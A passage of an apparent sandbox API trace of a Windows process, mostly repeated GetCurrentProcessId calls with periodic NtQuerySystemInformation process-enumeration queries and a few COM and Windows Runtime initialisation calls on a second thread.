GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.623] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c168) returned 0x0 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.624] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.625] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.626] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.627] GetCurrentProcessId () returned 0xd70 [0130.628] GetCurrentProcessId () returned 0xd70 [0130.628] GetCurrentProcessId () returned 0xd70 [0131.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c258) returned 0x0 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.206] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.207] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.208] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.209] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.210] GetCurrentProcessId () returned 0xd70 [0131.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c498) returned 0x0 [0131.783] GetCurrentProcessId () returned 0xd70 [0131.783] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.784] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.785] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.786] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.787] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 [0131.788] GetCurrentProcessId () returned 0xd70 Thread: id = 18 os_tid = 0x1134 [0099.959] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.959] RoInitialize () returned 0x1 [0099.959] RoUninitialize () returned 0x0 [0100.256] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bf38) returned 0x0 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.350] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.351] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.352] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.353] GetCurrentProcessId () returned 0xd70 [0100.354] GetCurrentProcessId () returned 0xd70 [0100.354] GetCurrentProcessId () returned 0xd70 [0100.354] GetCurrentProcessId () returned 0xd70 [0100.354] GetCurrentProcessId () returned 0xd70 [0100.930] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bf38) returned 0x0 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.933] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.934] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.937] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.938] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.939] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0100.940] GetCurrentProcessId () returned 0xd70 [0101.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be48) returned 0x0 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.903] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 